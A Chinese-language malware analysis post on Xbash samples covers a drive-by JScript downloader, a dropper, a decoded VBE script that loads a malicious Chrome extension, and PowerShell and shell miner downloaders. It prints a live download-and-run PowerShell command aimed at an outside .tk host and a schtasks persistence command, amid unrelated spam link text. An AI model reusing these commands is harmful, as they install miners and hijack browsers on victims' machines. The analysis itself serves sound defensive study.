91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Xbash部分樣本分析

發布時間:2020-06-12 18:49:09 來源:網絡 閱讀:659 作者:長路慢 欄目:安全技術

?病毒樣本下載來源于i春秋一位cq5f7a075d作者的主題帖《XBash系列病毒樣本分析報告》,是一個Iron Group組織使用的XBash惡意軟件,樣本鏈接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推薦幾個比較活躍的樣本下載區,如卡飯、i春秋、吾愛、VirusShare等都比較活躍。
?
?故事還是要從掛馬網站開始,也就是網頁下載惡意代碼開始分析,如下所示:
Xbash部分樣本分析
????????????????????圖片一:JScript腳本
變量ebc9拖入010中轉換成字符串如下所示:
Xbash部分樣本分析
????????????????????圖片二:數組還原
還原Js代碼如下所示,圖片中給出了還原的代碼(已標紅):
Xbash部分樣本分析
????????????????????圖片三:代碼復原
?如上述代碼,做了以下幾件事情:
??1、使用了ActiveX控件,注意這個只有IE才支持,因為是微軟的。
??2、獲取了temp的臨時路徑,拼接了IE瀏覽器進程名(偽裝)。
??3、判斷是否臨時文件是否存在,如果不存在則執powershell指令,指令如下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是遠程下載腳本繞過執行策略并隱藏執行窗口,powershell指令執行一般不會殺毒軟件被攔截,這樣就達成了目的,下載惡意代碼并且偽裝成explorer.exe。
??4、執行下載的惡意代碼。

?
?關于掛馬網站分析完畢,下面就是分析下載下來的惡意代碼,如下所示:
Xbash部分樣本分析
????????????????????圖片四:脫殼
如上所示,樣本加了一個UPX殼,脫掉修復IAT后樣本就被還原了,拉入IDA后如下所示:
Xbash部分樣本分析
????????????????????圖片五:主函數
sub_405920分析如下,先獲取了window shell特殊文件夾的標識值,如下所示:
Xbash部分樣本分析
????????????????????圖片六:SHGetSpecialFoladerPathA
繼續分析,然后初始化了一段字符串,且求出了字符串大小,流程圖如下:
Xbash部分樣本分析
????????????????????圖片七:字符串
?其實一開始靜態觀察猜錯了初始化的字符串順序....,然后動態調試為了驗證數據的精準,下面繼續調用了函數流程如下,根據字符串初始化進行了獲取名稱,鎖機制設置,如下所示:
Xbash部分樣本分析
????????????????????圖片八:執行流程
根據字符串運算獲取了名稱,拼接路徑如下:
Xbash部分樣本分析
????????????????????圖片九:C:\Program Files\TempBMBD19XS
這里還不算真正開是,只是做了個預熱,下面樣本開始認真了,如下所示:
Xbash部分樣本分析
????????????????????圖片十:靜態分析
?如上圖所示,獲取了運行路徑,拼接了chrome.crx,當有路徑出現的時候就會有操作,如下所示:
Xbash部分樣本分析
????????????????????圖片十一:chrome.crx
?繼續分析函數sub_408360,選擇了動態調試字符串,因為字符串加密了,所以動態調試分析起來相對輕松一些,內部代碼如下所示:
Xbash部分樣本分析
????????????????????圖片十二:sub_408360
?分析函數sub_40D0B0的時候,匯編分析時候根據循環規律猜出部分代碼(可惜猜錯了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函數時候,就明白這是要創建進程快照,也明白了整個函數的意義,如下所示:
Xbash部分樣本分析
????????????????????圖片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍歷進程,殺掉chrome進程,如下所示:
Xbash部分樣本分析
????????????????????圖片十四:Kill chrome.exe
?如上圖所示,經過這一層關系,根據當前分析的情況,chrome.exe(chrome.crx)樣本肯定準備這樣偽裝,繼續線性分析,如圖十二所示:
?1、打開注冊表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,請求Path。
?2、如果成功拼接路徑C:\Programiles\Google\Chrome\Application\chrome.exe


接下來,在路徑下創建文件寫入數據了,如下所示:
Xbash部分樣本分析
????????????????????圖片十五:_mkdir and write
解壓了數據,收尾工作,利用schtasks計劃啟動釋放的程序,如下所示:
Xbash部分樣本分析
Xbash部分樣本分析
????????????????????圖片十六:WinExec
?sub_408360光榮的完成他的使命,查殺chrome.exe進程,且創建釋放惡意代碼,調用WinExec執行釋放的文件。
?
?做了這些事情之后還沒有結束,到了分水嶺,有意思的是判斷了運行樣本的命令行參數 ,分析如下:
Xbash部分樣本分析
Xbash部分樣本分析
Xbash部分樣本分析
????????????????????圖片十七:分水嶺
不相等則跳轉,如果相等最終會則執行流程如下圖所示:
Xbash部分樣本分析
????????????????????圖片十八:成功
該文章重點分析不跳轉情況(真機環境下沒有跳轉),如下所示:
Xbash部分樣本分析
????????????????????圖片十九:創建且寫入惡意代碼
?如果上面解壓chrome.crx那段匯編熟悉的話,你會發現套路是相同:
??1、獲取文件名稱,拼接文件路徑。
??2、創建及寫入惡意代碼過程。
??3、那么就該執行惡意代碼了唄。

我們對比一下寫入的數據是或否相同,從而驗證是否函數功能的正確性,如下所示:
Xbash部分樣本分析
????????????????????圖片二十:寫入惡意數據
請求rundll32.exe執行DllUnInstall,然后創建惡意代碼流程如下所示:
Xbash部分樣本分析
Xbash部分樣本分析
????????????????????圖片二十一:執行惡意dll
?然后調用了ExitProcess結束了自己的一生,這個被掛馬網站下載下來的病毒干了兩件事:
??1、運行了sec.vbe
??2、運行了xxx.dat(名字是隨機dll文件)

?
?所以目標也很明確,被運行的兩個程序,依次分析,運行時的順序有時候也是刻意安排的,接下來分析sec.vbe:
看后綴都明白,這是一個VB語言寫的病毒,先打開看一看,長什么樣,如下圖所示:
Xbash部分樣本分析
????????????????????圖片二十二:加密sec.vb
?根據風格應該是微軟的ScriptEncode編碼算法來加密的,所以先嘗試一下,不對在換就行了,解密后代碼如下:

vb中注釋是單引號 ' 
On Error ReSume Next:                               ' 這一句vb代碼是異常處理,錯誤時會繼續運行,不中斷
strComputer = ".":
Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"):                             
' set是用于給對象變量賦值  返回ActiveX對象
Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指關閉指定用戶進程
SeT objShell = CreateObjeCt("WScript.Shell"):       ' 創建WScript。sehll對象
starT = False:

' 遍歷且與關鍵字對比
FOr Each ObjITem in colItEms:
    iF INstr(objitem.CommandLiNe,"silent-launch") > 1  ' vb中變量不區分大小寫 字符串區分
    thEn start = true:
    end if:
    NEXt:

' 關閉進程
function Killproc(strProcname):
    On ErroR REsume Next:
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
    Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"):
    for Each Proccess In aRrpRocessEs: 
    proccess.Terminate 0:       ' terminate是指事件的終止
    Next:
ENd FuncTiOn:

If nOT start 
    then KillprOc("chrome.exe"):    ' 殺死進程
    Dim Instpath:                   ' 根據變量類型為變量分配內存空間 
    INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"):  ' 讀取注冊表
    appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"):      ' 獲取路徑 C:\Users\xxx\AppData\Local
    chrome_locatIon = AppDataLoCaTion+"\chrome":                                ' 拼接路徑 C:\Users\xxx\AppData\Local\chrome
    objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):
    ' --load-extension  每次重啟chrome的快捷方式會被替換C:\Users\xxx\AppData\Local\chrome
    ' --silent-launch   表示不開啟chrome,靜默安裝
    ' --enable-automation 開啟自動化
End if

如何解密呢,在線解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb腳本分析,對于關鍵的數據出寫出詳細的注釋,這里不一一羅嗦,sec.vbe關閉chrome,然后替換了了Chrome的快捷方式。

?至于.dat是一個dll文件,PEID查看后發現加油vmp虛擬殼,對于這個殼,帶殼調試的話,過虛擬、過反調試可以動態調試.....這里有興趣的朋友自行分析,能力有限不能很好的分析該病毒的出步驟,所以這一個比較關鍵的環節略過......
通過dll執行(也就是上述省略分析的.dll文件),做了那些事情呢?
??1、在windows下釋放了一段可執行的惡意代碼,包含了powershell指令(用于下載挖礦)
??2、Linux下釋放了.sh的腳本(用于進程查殺及下載挖礦)
其實就是釋放了兩個下載器,我們分析一下釋放的下載器。

?
Windows下Powershell如下所示:
前置知識:
? 1、-EncodedCommand 接受 base-64 編碼字符串版本的命令。使用此參數向 Windows PowerShell 提交需要復雜引號或大括號的命令。 代碼中-E
? 2、-WindowStyle將窗口樣式設置為 Normal、Minimized、Maximized 或 Hidden。 代碼中-W
? 3、-noprofile 簡寫 -NoP, 為不加載 windows poweshell 配置文件
? 4、-NonInteractive不向用戶顯示交互式提示。

?
?打開.ps1腳本,發現被加密,如下所示:
Xbash部分樣本分析
????????????????????圖片二十三:加密的Powershell指令
?根據-E的參數,我們可以先推測使用了Base64進行了整體加密,下面在線Base64解密之后,如下圖片所示:
Xbash部分樣本分析
????????????????????圖片二十四:Base64解密
?第一次Base64解密后,雖然還有大量的字符不識別,但是露出了關鍵一些數據,如iex,這就為后續的解密提供了思路,腳本中有IEX關鍵字了,我們去掉且重定向到新得文件中,嘗試解密,解密后數據如下圖所示:如下所示:
Xbash部分樣本分析
????????????????????圖片二十五:Base64解密
分析Function DllMiner函數,如下所示:
Xbash部分樣本分析
????????????????????圖片二十六:Function DllMiner?????
?函數內容將數據下載并截獲正確得惡意代碼寫入到文件,命名為tmp.jpg,執行下載得文件,然后把DllMiner函數寫入到額tmp.ps1,如下所示:
Xbash部分樣本分析
????????????????????圖片二十七:tmp.ps1
調用了SchTasks.exe執行計劃任務,如下所示:

SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /

參數介紹:
    1、/Create       創建新計劃任務。
    2、/TN   taskname   指定唯一識別這個計劃任務的名稱
    3、/ST   starttime    指定運行任務的開始時間  /SC MINUTE (一分鐘)
    4、/TR   taskrun    指定在這個計劃時間運行的程序的路徑
    5、/MO   modifier    改進計劃類型以允許更好地控制計劃重復

總結:一分鐘運行一次tmp.ps1,也就是Function DllMiner函數

下載得其實是挖礦程序,對于挖礦程序得分析不到位,有興趣得可以分析一下。
?
補充:
?1、電腦不能運行powershell腳本?報錯讓參考策略修改,修改配置如下圖所示:
Xbash部分樣本分析
????????????????????圖片二十八:powershell策略配置
?2、Powershell關于IEX混淆解密相關介紹:https://www.codercto.com/a/24286.html
??
Linux下.sh如下所示:
看看Linux下.sh腳本是如何運行的,如下所示:
Xbash部分樣本分析
????????????????????圖片二十九
一個死循環,兩個函數,就是整個腳本的內容,kills函數如下所示:
Xbash部分樣本分析
????????????????????圖片三十
各種kill與pkill,終止其他程序的挖礦進程。然后開始執行downloadyam函數,如下所示:
Xbash部分樣本分析
????????????????????圖片二十一
上述標紅是注釋,這便是腳本執行的過程,xx.sh總共下載了五個文件:
??config.json,bashf,pools.txt,bashg,XbashY
?到此兩個下載器分析完畢,至于挖礦程序的分析,還是不獻丑了........以后有時間學習研究后,再來補上未分析的部分。
?
未完待續!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

全南县| 东兴市| 额济纳旗| 秀山| 缙云县| 车致| 鄱阳县| 渭南市| 余姚市| 天柱县| 安塞县| 都兰县| 宁强县| 平武县| 泰州市| 宿松县| 乐安县| 昌乐县| 湄潭县| 莱西市| 卢龙县| 永宁县| 嘉善县| 揭西县| 花莲县| 逊克县| 钦州市| 会理县| 中阳县| 云安县| 威信县| 柯坪县| 黑河市| 锡林浩特市| 雷州市| 恩平市| 济宁市| 凤凰县| 衡东县| 樟树市| 建平县|